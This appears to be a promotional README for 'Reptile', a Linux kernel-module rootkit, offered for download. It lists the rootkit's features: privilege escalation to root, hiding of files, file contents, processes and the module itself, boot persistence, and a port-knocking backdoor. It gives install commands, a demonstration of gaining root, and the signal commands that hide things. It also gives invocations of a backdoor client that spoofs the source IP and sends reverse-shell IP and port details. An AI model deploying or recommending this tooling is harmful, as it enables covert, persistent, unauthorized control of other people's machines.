Reptile - LKM Linux Rootkit

[Mr.Tom]

Features
>Give root to unprivileged users
>Hide files and directories
>Hide files contents
>Hide processes
>Hide himself
>Boot persistence
>Heaven's door - A ICMP/UDP port-knocking backdoor
>Client to knock on heaven's door

Install
apt-get install linux-headers-$(uname -r)
https://github.com/f0rb1dd3n/Reptile.git
cd Reptile
./installer.sh install

Usage
Binaries will be copied to /reptile folder, that will be hidden by Reptile.

Getting root privileges
hax@Debian:~$ id
uid=1000(hax) gid=1000(hax) grupos=1000(hax),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth),118(scanner)
hax@Debian:~$ /reptile/r00t
You got super powers!

root@Debian:/home/hax# id
uid=0(root) gid=0(root) groups=0(root)

Hiding
>Hide/unhide reptile module: kill -50 0
>Hide/unhide process: kill -49 <PID>
>Hide files contents: all content between the tags will be hidden

Example:
#<reptile>
content to hide
#</reptile>

Knocking on heaven's door
Heaven's door is a ICMP/UDP port-knocking backdoor used by Reptile. To access the backdoor you can use the client:

Knock Knock on Heaven's Door
Writen by: F0rb1dd3n

Usage: ./knock_on_heaven <args>

-x protocol (ICMP/UDP)
-s Source IP address (You can spoof)
-t Target IP address
-p Source Port
-q Target Port
-d Data to knock on backdoor: "<key> <reverse IP> <reverse Port>"
-l Launch listener

[!] ICMP doesn't need ports

ICMP: ./knock_on_heaven -x icmp -s 192.168.0.2 -t 192.168.0.3 -d "F0rb1dd3n 192.168.0.4 4444" -l
UDP: ./knock_on_heaven -x udp -s 192.168.0.2 -t 192.168.0.3 -p 53 -q 53 -d "F0rb1dd3n 192.168.0.4 4444" -l

Download Reptile